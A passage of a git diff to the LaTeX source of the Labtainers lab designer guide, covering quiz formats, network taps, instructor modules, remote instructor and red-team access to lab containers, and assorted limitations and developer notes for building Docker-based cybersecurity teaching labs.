-- any string identifier, must be unique. Currently only used to identify prerequisites as described below. +\item TrueFalse -- identifies this as a True or False question. +\item question -- The question, in double quotes. +\item answer -- Ether T or F. +\item right\_response -- Message to display if a correct response is provided. All correct responses cause the word +\textit{Correct} to be display in bold font. Use empty double quotes of if that should be the only message. +\item wrong\_response -- Message to display if a incorrect response is provided. All incorrect responses cause the word +\textit{Incorrect} to be display in bold font. Use empty double quotes of if that should be the only message. +\item prerequisite -- Optional ID of a another question. If provided, and that question was answered correctly, then +this question will be skipped. This is intended to re-enforce concepts that the student previously answered incorrectly. +\end{itemize} +\subsection{Preface} +Text to display, e.g., prior to a set of questions. +\begin{verbatim} +ID, preface, text +\end{verbatim} +\noindent Where: +\begin{itemize} +\item ID -- any string identifier, must be unique. +\item preface -- identifies this as a preface whose text will be displayed. +\item text -- The text to be displayed. This text is intended to provide context for whatever questions follow. +\end{itemize} +Here is an example quiz question and prefix: +\begin{verbatim} + 0, Preface, + "The following quiz is intended to help you determine if you are \ + ready to perform the lab." + 1, TrueFalse, + "In this lab, you will configure a firewall to use malware signatures to block \ + traffic destined for a server.", F, + "This lab will use iptables to filter network traffic destined for a server.", + "This lab will use iptables to filter network traffic destined for a \ + server based on IP packet addresses and port numbers." +\end{verbatim} + \section{Networking} \label{networking} Most networking is simply a matter of defining networks and assigning them to containers as described in \ref{start config}. @@ -1627,13 +2022,36 @@ It also allows the student to reach external networks, e.g., to fetch additional support of student exploration. In many instances, the lab designer will want to define a different default route for a -container. Each container includes a \textit{set\_default\_gw.sh} -script that can be added to the \textit{/etc/rc.local} file to redefine the default gateway. +container. The start.config definitions for each container include an optional {\tt LAB\_GATEWAY} parameter +that, if set, will replace the default Docker gateway with the given gateway, and it will replace the +resolv.conf entry and delete the route to the {\tt my\_host} address. +That configuration setting is implemented using a \textit{set\_default\_gw.sh}, which designers can +optionally chose to directly use instead of {\tt LAB\_GATEWAY} +in order to get more control over the setting of a default gateway, e.g., as part of parameterization. This script will automatically retain a route table entry so that the student can reach the ``my\_host'' address. Additionally, those baseline images include a \textit{togglegw.sh} script that the student can use to toggle the default gateway between one that leads to the host, and one defined for the lab. This allows students to add packages on components having lab-specific default gateways. +\subsection{Network Taps} +In general, Docker containers will only see network traffic addressed to the specific container, (or +broadcast traffic). The behavior is consistent with use of a layer 2 network switch to interconnect +containers on the same subnet. In some labs, the designer may wish to provide students with copies of +all network traffic that occurs on one or more subnets. Labtainers supports network taps through use of +two container base images: \textit{tap} and \textit{netmon}. The {\tt tap} component should not be visible +to the student, it exists to collect traffic off of all networks whose {\tt start.config} definitions include +the {\tt TAP YES} attribute. The {\tt netmon} component should be defined with a single network interface +to a network called {\tt TAP\_LAN}. The {\tt netmon} component should be the only one on the {\tt TAP\_LAN} +network, (do not add the {\tt tap} component to any network). The {\tt tap} component must have the {\tt TAP YES} +attribute. A service runs on the {\tt netmon} component +that will receive network traffic sent by the {\tt tap} component, and store it into the {\tt /taps} directory +within PCAP files named using the network name. See the {\tt plc-traffic} lab as an example. + +The {\tt netmon} base is derived from the wireshark base. You may add other tools to that container as needed. + +All containers attached to tapped networks will not be started until the tap and netmon containers are up +and ready. This ensures that all startup traffic is captured in the PCAPs. + \subsection{Realistic Network Routing and DNS} Some labs will strive to represent realistic networking environments, e.g., several networked components including gateways and DNS servers. @@ -1690,7 +2108,16 @@ NETWORK LAN Also see the description of Multi-user labs in \ref{multi user}. +\subsection{Network interface assignments} +Docker appears to assign network connections to containers in alphabetical order. E.g., connecting +networks LAN1 and LAN2 to a container would result in LAN1 being connected to device eth0 -- regardless +of the order in which LANs are defined within the start.config file. Understanding this ordering may +be helpful for networking labs, e.g., when defining routes. + \section{Building, Maintaining and Publishing Labs} \label{publishing} +This section describes how labs are built, maintained and published. Additional information +on tools and strategies intended for use by outside developers are described in section \ref{imodules} + Typically, when a Labtainer is started, the container's associated Docker images are pulled from the Docker Hub if they are not already local on the Linux host. When building and editing labs, the designer desires to run images reflecting recent changes that have been made. The framework @@ -1700,12 +2127,12 @@ rebuild those images that have changed. The designer can force the rebuild of a a lab by appending the ``-f'' switch to the end of the ``rebuild.py'' command. That switch is not intended for routine use because it wastes time and masks errors in our dependency logic. -If you build a new Labtainer exerciese, the container images will not be on the Docker Hub unless you put -them there. If they are not on the hub, each student's computer will rebuild your lab when they go to run it. -While this is fully functional, the build time may distract from performance of the lab. If you +If you build a new Labtainer exercise, the container images will not be on the Docker Hub unless you put +them there. If you create your own public repository on the Docker Hub (https://hub.docker.com/), you can populate that with your lab(s) by setting the ``REGISTRY\_ID'' value in the start.config file for the lab(s). You -would then use the distrib/publish.py script to build, tag and push your lab to your registry. +would then use the distrib/publish.py script to build, tag and push your lab container images to your registry. +Please refer to the section \ref{imodules}. \subsection{NPS Development Operations} When building lab images at NPS, please set the LABTAINER\_NPS environment variable to "YES", e.g., @@ -1721,37 +2148,18 @@ ENV APT_SOURCE $apt_source \end{verbatim} \noindent That will force use of the original apt-sources for that container. -Labs must be checked into the local Git repository in order to be distributed. After creating and testing +Labs must be checked into the Git repository in order to be distributed. After creating and testing a new lab, use the scripts/designer/bin/cleanlab4svn.py script to remove temporary files that do not belong in -git. Use the publish.py script (described above) to publish the lab containers. -The distrib/mkdist.sh script is used by NPS to create the distribution tar file. This script relies on -your local Git repository as the source to the Labtainer scripts and labs. Use the mk-devel-distrib.sh script -to publish the developer configuration of the tar file. +git. -The mkdist.sh and mk-devel-distrib.sh scripts include "myshare" variables that define a path to a directory -shared with the development VM's host. The scripts will place the resulting tar files in this directory. You -must then manually transfer the updated tar files (including the {\tt labtainer\_pdf.zip} file) to the Liferay -server at -\begin{verbatim} -davs://my.nps.edu/webdav/c3o-staging/document_library/labtainers -\end{verbatim} -After transfering the files, use the Liferay ``Publish to Live'' function to make the files available on the -Labtainers website (which is also where they are pulled from when a student runs update-labtainer.sh). - -Be sure to push your Git repository updates to the GitHub master. - -The distrib/publish.py script is used to rebuild and -publish individual labs, or optionally all of the Labtainer exercises managed by NPS. -The publish.py (without the {\tt -l} option) script will only rebuild labs that have changed. After pushing a new lab container -image to the Docker hub, the script deletes the image from the local system. The intent is to -ensure that future testing of the lab is done on the authoritative copy, i.e., from the hub. +See the \textit{Labtainers Framework Development Guide} for information on integration, testing and release management. Labtainer base images are built and published from the scripts/designer/bin directory. Prior to publishing baseline images, it is suggested that all local images be purged from the development machine, e,g., \begin{verbatim} /trunk/setup_scripts/destroy-docker.sh \end{verbatim} -\noindent This will ensure the new baseline images to not incorporate layer remnants. +\noindent This will ensure that new baseline images do not incorporate layer remnants. All new images should be first built and pushed onto the test registry, i.e., using the {\tt ./publish\_image.sh -t} @@ -1769,7 +2177,7 @@ LABEL version=$version \noindent And, be sure to publish the revised framework before publishing the revised lab(s). \subsection{Alternate registry for testing} -If the environment variable {\tt TEST\_REGISTRY}, is set to YES, labs to be pulled and pushed +If the environment variable {\tt TEST\_REGISTRY}, is set to TRUE, labs to be pulled and pushed into an alternate registry defined in the trunk/config/labtainer.config file test\_registry entry. Also, the {\tt build\_lab.py}, {\tt labtainer}, and {\tt publish.sh} scripts include {\tt -t} flags to force the system to reference the test registry instead of the Docker Hub. @@ -1790,7 +2198,10 @@ A file named {\tt /config/bigexternal.txt} with entries as follows: \end{verbatim} \noindent will cause a rebuild to look for a file at {\tt relative\_path} relative to the lab directory, and -fetch it from the {\tt url} if it is missing. +fetch it from the {\tt url} if it is missing. Note that the date/times of these files are not referenced for rebuild dependencies +due to limitations in product such as box.com which fails to provide file modification times. Instead, the modification time of the +bigexternal.txt file is used to control rebuilds. Thus, if you update one of the large files, you will want to make a gratuitous change +to the bigexternal.txt file to force a rebuild (for you and others who may extend your lab.) \subsubsection{Reuse of large file sets} \label{manifest} @@ -1850,6 +2261,10 @@ For example, \textbf{never} change container names for existing labs. If such a change is needed, create a new lab, and assign version numbers to it and the old lab. +Another cause for creating a new lab version is a change to automated assessment +criteria. If new criteria is not consistent with potentially old results, a new +version should be considered. + Lab version numbers are kept in the optional {\tt labs/[lab]/config/version} file. There is no need to have such a file until there are two or more versions of the same lab. (Note if you want two versions of a given lab to be runnable and to appear @@ -1874,6 +2289,16 @@ When the user types the {\tt labtainer} command with no arguments, the list will only include the latest version of that lab. An exception is if the old lab already has been run in this installation, in which case both lab versions will display. +\subsection{Creating new base images} +Labtainer base images are managed using scripts and configuration files in the {\tt scripts/designer} directory. +The {\tt bin} subdirectory includes a set of scripts that create various base images, and the +{\tt base\_dockerfiles} contain their Dockerfiles. Use those as a template. + +Typically, new base images are created to support a new lab. Proper Labtainer lab Dockerfiles have {\tt FROM} directives +that include the {\tt \$registry/} qualifier, however your new base image might not yet be published to a registry +as you test it, and tagging the new base image with the registry name may complicate your desired workflow. +Use the {\tt -L} option to the {\tt rebuild} command to direct the build to use unqualified image names if needed. + \subsection{Importing labs: Warning!} \label{warnings} Avoid the use of ``shared folders'' in VMWare and VirtualBox as a means of copying lab @@ -1881,6 +2306,317 @@ directories. Use tar and/or scp instead. Otherwise permissions of directories be changed, e.g., no x access to /etc for other. +\section {Labtainer Instructor Modules (IModules)} +\label{imodules} +This guide describes how instructors can add content to Labtainers. +Instructors extend Labtainers with new labs or customized versions of existing +labs by defining IModules and directing their students to enable the IModules within +their individual Labtainers instances.\footnote{Or, instructors can enable IModules in VMs, and direct students to use those.} +Students simply type: {\tt imodule } to add a given URL to their Labtainers instance. +The scope of instructor-generated extensions can range from modified lab manuals +to new Labtainer exercises. The Labtainers framework provides tools +to assist instructors in creating and publishing these extensions. + +\subsection{Labtainers distribution strategy} +To understand how IModules are distributed, it is helpful to first review the general +Labtainers distribution strategy. A Labtainers installation, (e.g., the initial content of a Labtainers VM +appliance, or the results of installing from the distribution), includes the scripts and configuration files +needed to run all Labtainers exercises. The installation initially only includes a small number of +Docker container images that provide the core of container images for each of the labs. +When a student first starts a given lab, the framework retrieves all Docker image layers +required for that lab. These layers are retrieved from the Docker Hub, and build upon the core images +present in the initial distribution. The scripts and configuration files are +published as a tar archive on the Labtainers website. Whenever a Labtainers installation is updated, +the archive is retrieved from the website and used to update the installation. + +Files needed to create Docker images are typically not distributed in Labtainers distributions, but are +installed when the user runs the update-designer script. These files are drawn from a separate +tar archive on the Labtainers website. + +\subsection{Imodule distribution strategy} +Instructors place archives on a web server and student +instances of Labtainers retrieve those archives from the web server while retrieving other +Labtainer updates. When creating new labs, instructors publish the lab Docker images to +DockerHub, where they'll be retrieved by the framework when students run that lab. +While the publishing of extensions does not depend on any particular +source control system, supporting tools that simplify archive creation are built around git. + +Archives published by instructors are tar files that include only changed and new files, +relative to the Labtainers baseline. Inclusion of unchanged (relative to the +Labtainers baseline) files is discouraged, as is publishing only deltas from previous +IModule publications. Put another way, an IModule will contain any +and all files +necessary for running, (not building), all new labs -- or to modify existing labs, +relative to the Labtainers baseline as defined by the GitHub master repository. + +Support tools simplify creation of IModule tar files through use of git attributes. +Instructors who chose not to use git are responsible for creating a tar of selected +files -- which may be trivial, e.g., if the IModule consists of lab manual modifications +or new lab guides. Paths within tar files will be relative to the labtainers/lab +directory. For example, a revised telnet-lab manual would have the path: +\begin{verbatim} + telnet-lab/docs/telnet-lab.pdf +\end{verbatim} +\noindent Note the modified source, e.g., docx files, need not be included in the IModule +archive, though the support tools do include them. + +Typically, each participating instructor will publish a single archive (i.e., a tar file) +at a publically accessible URL specific to the instructor or institution. The URL +is distributed to students and entered into their Labtainers +instance using the {\tt imodule} command \footnote{The full URL is published because many +web hosting systems, e.g., box.com make it impossible to construct URLs from relative paths}. +For example, if the instructor publishes +at \url{https://myschool/mystuff/labtainers/imodule.tar}, the students would each issue +this command to Labtainers: +\begin{verbatim} + imodule myschool/mystuff/labtainers/imodule.tar +\end{verbatim} + +The student labs will be updated to include those IModules. Student labs +will be updated whenever the student runs either {\tt update-labtainer.sh} or {\tt imodule -u}. + +IModule support tools rely on instructor contributions existing in local git repositories. +The tools do not reference remote repositories. IModule repositories have no relationship +to the main Labtainers repository, and should be managed within Labtainer +distributions rather than within local repo copies of the main Labtainer repository. \footnote{In general, +instructors and lab designers are encourage to work from Labtainer distributions rather +than repos pulled from the Labtainers repo at GitHub to avoid git repository conflicts.} + +\subsection{Testing IModules} +Use a separate VM to test your IModules, i.e., not the VM used to develop the lab. A separate +Labtainer VM is suggested. Use this independent VM to mimic what a student will see and do. If +you'd prefer to test an IModule prior to publishing the imodule.tar file, place the file on the +test system and use the {\tt file://} URL syntax, e.g., +\begin{verbatim} + imodule file://home/student/imodules/imodule.tar +\end{verbatim} +\noindent Use of SimLab, as described in \ref{testing} is encouraged to ensure the lab behaves as intended. + +\subsection {Custom lab manuals} +The easiest way to provide your students with a custom version of a lab manual that they can reference from Labtainers +is described below. This does not require that you use the Labtainer VM or git. The example assumes you are customizing +the telnet-lab manual. +\begin{itemize} +\item Create your version of the manual in the pdf format (if the manual source is docx, export it as pdf). +\item Put that manual in a file with the original name, in an otherwise empty directory structure that includes the name is the lab +and ``docs'', e.g., +\begin{verbatim} + telnet-lab/docs/telnet-lab.pdf +\end{verbatim} +\item Create a tar file of directory structures starting at the lab name. (Issue the tar file from the parent of the lab directory.) +\begin{verbatim} + tar cv imodule.tar telnet-lab +\end{verbatim} +\item Publish that tar file onto a web server, i.e., something that responds to {\tt http get} commands. +\item Instruct your students to provide that URL to the {\tt imodule} command. +\end{itemize} +If you wish to publish multiple custom lab manuals, put them all in the same tar file. +\subsection {Imodule examples} +These examples assume the instructor is working from a Labtainers distribution, e.g., one +of the VM appliance. +\subsubsection {Modify a lab manual for the telnet-lab} +In this example, the instructor wants his or her students to work with a customized version +of the telnet-lab manual. +\begin{itemize} +\item Change directory to {\tt \$LABTAINER\_DIR/labs} +\item Initialize the git archive: +\begin{verbatim} +git init +\end{verbatim} +\noindent (Do this only once, no need to repeat for each IModule.) +\item Add the original Labtainer file as the baseline: + +\begin{verbatim} +git add telnet-lab/docs/telnet-lab.docx +\end{verbatim} +\item Edit the telnet-lab/docs/telnet-lab.docx file +\item Commit your change: +\begin{verbatim} + git commit telnet-lab/docs/telnet-lab.docx +\end{verbatim} +\end{itemize} + +This change has no effect on any Docker container, so we need only generate the +updated tar: +\begin{verbatim} + create-imodules.sh +\end{verbatim} + +\noindent Then publish the imodule.tar to the website. + +\subsubsection{Create a new lab} +In this example, the instructor wants to create a new lab for use by his or her students. +This example assumes the instructor has created a DockerHub registry that is publicly accessible. +\begin{itemize} +\item Change directory to labtainer/labs +\item Initialize git archive: git init (Do this only once, no need to repeat for each IModule.) +\item Create the lab per the Lab Designer User Guide, for this example, we assume the lab is my-new-lab. +\item Include the name of your Docker Hub registry the lab config/start.config file {\tt REGISTRY} attribute. +\item Complete development and testing of the lab, e.g., build a SimLab test. +\item While in the my-new-lab directory, run {\tt cleanlab4svn.py} to remove temporary files that should not be under source control. +\item While in the lab directory (parent of my-new-lab), add the lab to source control: +\begin{verbatim} + git add my-new-lab + git commit my-new-lab -m "Adding an IModule" +\end{verbatim} +\item Publish the lab container images: +\begin{verbatim} + cd $LABTAINER_DIR/distrib + ./publish.py -d -l my-new-lab +\end{verbatim} +\noindent This will rebuild the lab container images and publish them to your DockerHub registry. Your {\tt start.config} files for +your labs name this registry, and that allows student Labtainer implementations to retrieve your lab images without having to rebuild them. +Note the {\tt -d} option directs the +function to publish to the DockerHub registry named in your lab start.config file. Otherwise, it will try to publish to a test registry. +Use of test registries is optional, and are described in the \textit{Lab Designer User Guide}. +\item Generate the updated IModule tar: +\begin{verbatim} + create-imodules.sh +\end{verbatim} +\noindent This creates a tar that contains all of your IModule labs, i.e., those you have added to your git repo. If you do not use git +to manage your lab source, you will have to create the IModule.tar yourself. +\item Then publish the imodule.tar to your website and distribute the URL to whoever you want to have access to your labs. +\end{itemize} + +\section {Remote access and control of Labtainer exercises} +This section describes features intended for use within structured environments in which one or more students are performing +a lab exercise under supervision of an instructor or red-team member. This does not apply to environments in which students +individualy run Labtainers on dedicated computers at their own pace. + +The environment may have one of two forms: + +\begin{enumerate} +\item Each student has a dedicated computer upon which a Labtainer VM resides, and the instrutor has network access to each computer; or, +\item Multiple Labtainer VMs (or custom-built VMs containing Labtainers) run on one or more servers that are networked together. +Students interact individually with their allocated VM using a tool such as VMWare Horizon or Apache Guacamole, +which presents the student with the Linux desktop of their allocated VM via a browser or client application. +\end{enumerate} +\noindent We assume that something within the infrastructure allows remote network access by an instructor to each VM, e.g., +via port forwarding. The instructor will use this network access to manage aspects of the lab exercise, and/or remotely access +selected containers, e.g., as a red-team activity. + +\subsection{Remote management} +Labtainer remote management functions allow instructors to query and change the state of the Labtainers exercise +currently running on each VM. The remote access functions available to instructors currently include: +\begin{itemize} +\item \textbf{status} -- Display the name of the lab running on a specific VM. +\item \textbf{copy} -- Copy files into a Labtainer container per a copy directive defined in: +\begin{verbatim} + /config/copy.config} +\end{verbatim} +\end{itemize} + +\subsubsection{File copying} +\noindent The {\tt copy.config} file contains one or more directives, one per line as follows: +\begin{verbatim} + +\end{verbatim} +\noindent Where: +\begin{itemize} +\item \textit{directive} is a arbitrary string identifier that names the directive. +\item \textit{container} is the name of the container into which the files are to be copied. +\item \textit{source} is a source path upon the VM. If this path starts with {\tt \$LAB}, the path is relative to +the lab directory. Otherwise, a full pathname is expected, e.g., the path to a folder shared with all VMs on a host. +\item \textit{destination} is the destination path upon the target container. Permissions are retained if possible, e.g, if the +source files are owned by {\tt root:root}, that will be maintained on the destination. +\end{itemize} +\noindent The semantics of source and destination are per the Unix {\tt cp -a} command. Please see the discussion of {\tt SRC\_PATH} +and {\tt DEST\_PATH} in \url{https://docs.docker.com/engine/reference/commandline/cp/} + +\subsubsection{Client and server setup} +The python service at {\tt scripts/remote/remote.py} should be started on each Labtainers VM with the {\tt --daemon} option. + +The python client at {\tt host\_scripts/remote/remote.py} should be copied to whatever host the instructor will work from. + +Port forwarding for each VM should be defined such that some host port is forwarded to port 60000 on the VM. You would assign +each VM on a given host a different host port number. That host port number will be how the instructor names different VMs on the same host. +For example, on VirtualBox, the port forwarding entry for one VM might look like: +\begin{verbatim} + Host IP Host Port Guest IP Guest Port + 0.0.0.0 60003 0.0.0.0 60000 +\end{verbatim} + +Then, if the instructor is working from the computer that hosts the VM, the following command would cause a copy +directive named {\tt one} to occur on that VM if it is +running a lab named {\tt tlab}: +\begin{verbatim} + ./remote.py -l tlab -c one -p 60003 +\end{verbatim} + +\subsection{Remote access to containers} +This section describes environments in which an instructor or red team member is to interact with containers within the lab, +e.g., to perform penetration testing. This interaction would occur via computers external to the lab exercise, e.g., networked +to a server hosting VMs. The strategy employed to achieve this depends on whether the lab utilizes GNS3, (which manages the virtual +networks without relying on Docker networking). + +\subsubsection{Remote access without GNS3} +Docker port publishing provides external network access to containers. +For example, remote ssh access to a specific container within the lab can be achieved as follows: +\begin{itemize} +\item Use the {\tt PUBLISH} directive in the start.config to bind a container port to a host VM port, e.g., +\begin{verbatim} + PUBLISH 0.0.0.0:60020:20/tcp +\end{verbatim} +\item Use port forwarding to bind the VM port to a server port. Here, the host port would differ for each VM on a server as a +means of naming the VM whose lab is to accessed. For example, on VirtualBox, a port forwarding entry might be: +\begin{verbatim} + Host IP Host Port Guest IP Guest Port + 0.0.0.0 61022 0.0.0.0 60022 +\end{verbatim} +\end{itemize} + +\noindent The above example would then allow an external computer to ssh into the selected container using port 60122, +assuming the container has SSH enabled (see the telnet-lab server container for an example). Authentication to control who can SSH +into a given container could be provided through use of SSH keys. This remotely accessed container can be hidden from the student, and provide +the instructor or red-team participant with a means to probe and attempt to compromise the other computers within the Labtainers exercise network. + +\subsubsection{Remote access with GNS3} +For labs that run in the GNS3 environment, remote network access is provided through use of the GNS3 \textit{cloud} +endpoint device, which interacts with an Ethernet network interface. In this example, access is provided from external to +the VM -- with no network access to the container from within the VM. + +The following assumes your VM has a virtual Ethernet interface named {\tt enp0s3}, with IP an address on the +{\tt 10.0.2.0/24} subnet. On your VM, find the Ethernet interface that has an assigned IP address. +Alternately you could define the VM to share a physical host network, but that is outside the scope of this example. + +Define a component within your Labtainers lab that is be remotely accessed, e.g., a workstation or router, and assign it an IP +address on the {\tt enp0s3} interface subnet, e.g., {\tt 10.0.2.100}. Within the start.config file, provide the container with +the {\tt KICK\_ME } attribute, where LAN is the name of the network intended to be connected to the cloud component. Then, +when defining the GNS3 network topology, i.e., creating and connecting links: + +\begin{itemize} +\item Select a {\tt Cloud} component from the {\tt Browse End Devices} menu, and drag it to the desktop. +(computer terminal icon). +\item Right click, select {\tt Configure} and confirm that the Ethernet interface that you selected (e.g., enp0s3) is in the list. +If it is not there, select the device from the pull-down list and click the {\tt Add} button. Then click {\tt OK}. +\item Use the network links to connect the cloud to the desired component. +\item Use port forwarding as described earlier to map host ports to ports on the VM. When defining port forwarding, enter +{\tt 0.0.0.0} as the ``Host IP'', and the container IP address, e.g., {\tt 10.0.2.100} as the ``Guest IP''. +\item You should now be able to ssh to the container from outside of the VM using the mapped port. +\end{itemize} + + +Alternately, to provide access from the VM (but not from external sources), pick virbr Ethernet interface and: + +\begin{itemize} +\item Select a {\tt Cloud} component from the {\tt Browse End Devices} menu, and drag it to the desktop. +(computer terminal icon). +\item Right click, select {\tt Configure} and delete the default Ethernet interface if any is selected. +\item Click the {\tt Show special Ethernet interfaces} checkbox in the lower left. That should add devices to the pull-down +list. +\item Select the {\tt virbr0} device from the pull-down list and click the {\tt Add} button. Then click {\tt OK}. +\item Use the network links to connect the cloud to the desired component. +\item When the lab is started, you should be able to ping the connected container from the VM. +\item Use port forwarding as described earlier to map host ports to ports on the VM. When defining port forwarding, enter the +container IP address as the ``Guest IP''. +\end{itemize} +Note that the subnet used for this remote access is defined by the VM's Ethernet device. Putting multiple lab computers +on that subnet as part of the lab network topology may be awkward and confusing to students since 192.168 addresses are +private. + +When a GNS3 Labtainer is run with the {\tt --student} option, the Cloud components are hidden, as are any Labtainer +components whose {\tt start.config} entries include {\tt HIDE YES}. Links to hidden devices are also hidden. + \section {Multi-user Labtainers} \label{multi user} Labtainer exercises can support multiple concurrent users, such as students collaborating or competing on a shared @@ -1930,11 +2666,11 @@ For example: sudo ifconfig ethx promisc \end{verbatim} -\item Start the lab on the server VM using start.py and the --server (-s) switch. This +\item Start the lab on the server VM using the labtainer command with the --server (-s) switch. This causes Labtainers to start each container in the lab that is not tagged as a ``CLIENT''. \item Students then -start the lab on their individual VMs using start.py with the --workstation switch, which will cause +start the lab on their individual VMs using the labtainer command with the --workstation switch, which will cause the student VM to only start the container identified as the ``CLIENT'' in the start.config file. \end{itemize} @@ -1958,7 +2694,7 @@ set the network interface to promisuous mode (within the Linux host as well). Labtainers workstation. Configure the network on the VM to use DHCP (the host-only DHCP server should be disabled, the VM will get an IP from a Labtainer DHCP server.) -\item Start the lab on the server VM using start.py and the --clone\_count (-n) switch, +\item Start the lab on the server VM using the labtainer command with the --clone\_count (-n) switch, specifying the quantity of per-student client containers to start. \item Students then ssh into their respective containers over the host-only network. @@ -2043,7 +2779,11 @@ PASSWD : CLONE_REPLACE : .local/bin/fixlocal.sh : CLONE_NUM : CLONE \end{itemize} \section{Limitations} \label{limitations} -The labtainers framework limits labs to the Linux execution environment. +This sections describes some limitations of Labtainers that may affect a +students perception of the computers and may limit some lab development. + +\begin{itemize} +\item The labtainers framework limits labs to the Linux execution environment. However, a lab designer could prescribe the inclusion of a separate VM, e.g., a Windows system, and that VM could be networked with the Linux VM that hosts the Docker containers as described in \ref{external hosts}. @@ -2051,32 +2791,40 @@ Future work would be necessary to include artifacts from the Windows system within the framework's automated assessment and parameterization. -The user does not see the /etc/fstab file. Only virtual file systems can be +\item The user does not see the /etc/fstab file. Only virtual file systems can be mounted (or those mounted when the container is created.) -Kernel logs do not appear in {\tt /var/log/kern.log}. For logging events +\item Kernel logs do not appear in {\tt /var/log/kern.log}. For logging events such as iptables, consider using ulogd and a ``NFLOG'' directive in place of a ``LOG'' directive. See the dmz-lab as an example. -The available Docker network drivers do not permit IP address overlap between virtual networks. +\item The available Docker network drivers do not permit IP address overlap between virtual networks. For example, you cannot define two 192.168.1.0/24 LANs. -Student use of the shell directive "source" will cause stdin/stdout to not be captured. +\item Student use of the shell directive "source" will cause stdin/stdout to not be captured. -Inquisitive students will see evidence of artifact collection. Home directories +\item Inquisitive students will see evidence of artifact collection. Home directories on containers includes a \texttt{.local} directory that includes Labtainer scripts that manage capturing and collection of artifacts, and that directory contains the stdin and stdout files generated by student actions. Additionally, when the student starts a process that will have stdin and stdout captured, the student will see extra processes within that process tree, e.g., the \texttt{tee} function that generates copies of those data streams. -All of the containers share the Linux kernel with the Linux host. Changes to + +\item All of the containers share the Linux kernel with the Linux host. Changes to kernel configuration settings, e.g., enabling ASLR, will be visible across all of the containers. +\item All processor and memory resources of the host (e.g., the Labtainers VM), are visible to the student, e.g., via +{\tt /proc/cpuinfo}. A lab designer can limit the processing available to a container using the +{\tt NUM\_CPUS} container value. And a specific set of CPUs can be allocated to a container using the +{\tt CPU\_SET} value. However, these values do not alter the content of {\tt /proc/cpuinfo}. +\end{itemize} + \section{Notes} \label{Notes} \label{Notes} \subsection{Firefox} +\subsubsection{Profile and configuration changes} The labtainer.firefox image includes a /var/tmp/home.tar which is expanded into the user home directory when parameterize.sh is run. This tar includes a profile in .mozilla that avoids firefox starting with its @@ -2084,9 +2832,20 @@ welcome pages and privacy statements. The labtainer.firefox image includes a customized /usr/bin/firefox that starts the browser in a new instance so it does not share existing browsers. The {\tt about:config} was altered to disabled insecure field warnings for the labs that do not use SSL connections to web servers. + +\subsubsection{Browser history} If you wish to assess places a browser has visited, e.g., use a pregrade.sh to extract sites from the firefox places.sqlite file, put {\tt places.sqlite} into the lab's /\_bin/noskip file. +\subsubsection{Slow browser startup} +Some html, e.g., for the softplc, want to visit fonts.googleapis.com. If no gateway/dns is available, there is a long timeout. +Try adding +\begin{verbatim} +ADD-HOST fonts.googleapis.com:127.0.0.1 +\end{verbatim} +\noindent to start.config to avoid the timeout. + +\subsubsection{Crashes in SimLab} See \ref{simlab_notes} for information on avoiding firefox crashes when it is restarted in SimLab. \subsection{Wireshark} @@ -2130,6 +2889,11 @@ ADD system/var/run/sshd /var/run/sshd RUN sudo chmod 0755 /var/run/sshd \end{verbatim} +For containers derived from the kali base, and others non-labtainer bases, use this line in your dockerfile +to enable ssh into the box. +\begin{verbatim} +RUN sed -i 's/UsePAM yes/UsePAM no/' /etc/ssh/sshd_config +\end{verbatim} \subsubsection{X11 over SSH} The scripts/designer/system/etc/ssh/sshd\_conf allows X11 tunneling over ssh, e.g., from a remote VM connected to the same host-only lan as a container running the GUI @@ -2169,6 +2933,20 @@ delete the Docker-generated route: \noindent And the fixlocal.sh also replaces the resolv.conf entry with either a local DNS component, or a gateway running the dnsmasq utility. The /etc/rc.local script generally sets the default gateway, and configures iptables. +\subsubsection{Move to network2 base} +Transitioning labs from using the network base to using the network2 base involves moving to Ubuntu20, which +does not have native ifconfig and requires installation of net-tools, which is done in the Dockerfile. However, +linux tool maintainer decided to fix the output of ifconfig. Therefore if you have {\tt ifconfig | grep} fu in your +iptables definitions or elsewhere, change {\tt inet addr:xxx} to {\tt inet.*xxx}. And use awk substr to remove +the new colon that follows network interface device names. See the routing-basics lab as an example. + +The move to network2 was motivated in part to get the latest QT GUI for wireshark to avoid black windows. +Note however that many packages will not install on Ubuntu 20. You must either install the snap package manager, +which drags a ton of extra stuff, or find an alternate package source (e.g., the .deb packages). + +\subsubsection{Ubuntu 22 base image} +The base3 and network3 base images are built using Ubuntu 22. Only minimal testing has been done and no labs as yet use these images. + \subsection{User management and sudo} The Dockerfile should make the initial user, i.e., the user named in the start.config file, a member of sudoers. Otherwise, the fixlocal.sh script will not be unable to modify the environment. If desired, that user can be @@ -2185,10 +2963,13 @@ host names. The script at {\tt setup\_scripts/dns-add.sh} will update those def DNS used by the host. \subsection{Suggestions for Developers} +\label{suggestions} +\subsubsection{Testing assessment directives} The result and goals configuration files can be revised and tested within a -running instructor container. This saves time because you do not need to rebuild +running grader container by starting grader with the {\tt -d} option. This saves time because you do not need to rebuild the container for each iteration of the development of configuration files. However, -be sure to scp the configuration files from the container to your host Linux system. +be sure to scp the configuration files from the container to your host Linux system. The files are in +{\tt .local/instr\_config}. See the {tt /tmp} directory for logs. Most result and goal assessment can occur once you have generated a suitable sample of expected student artifacts. In other words, adding new goal does not typically require @@ -2200,9 +2981,26 @@ that you go back and re-perform student actions. Exceptions to this are: file will not be collected unless that log file has been named in the results.config file. \end{enumerate} +\subsubsection{3rd party applications} +Some applications that you may wish to include in your lab may already have Docker container +instances. Bringing those into Labtainers can sometimes be challenging because such containers +often lack execution environment elements required by Labtainers for configuration steps, e.g., +{sudo}. Most such applications are traditional Docker images whose purpose is to package an +application. In contrast, Labtainer Docker containers are intended to look like computers running +applications -- not as applications packaged as containers. Is is therefore often easier, (and less +disruptive to what students see), to include the 3rd party installation procedures, (e.g., what they publish +to allow you to install their application on a Linux system), within your lab's Labtainer Docker file. + +\subsubsection{Msc} Use {\tt TERMINAL\_GROUPS} in the start.config file to organize terminals if you have more than a few. Otherwise the student will spend time trying to find each terminal. +\subsubsection {Docker cache} +By default, a {\tt rebuild} will make use of the Docker cache to speed up the image building process. +Use the {\tt -N} option to supress use of the cache. This may be needed if you expect the results of +a {\tt RUN} command within a Dockerfile to change between builds. When using the {\tt publish.py} command, +the cache is disabled by default. + \subsection {Container isolation} Docker provides namespace isolation between different containers, and between the containers and the host platform. Note however, that all @@ -2218,12 +3016,33 @@ scripts so that they happen on each boot. Note also, that the Docker group (in which containers execute) is root equivalent, and thus a hostile container can do damage to the Linux host. -\subsection {Student self assessment} -The {\tt checkwork} command allows students to assess their own work against -the criteria used by instructors for automated assessment of lab performance. -This can be disabled on 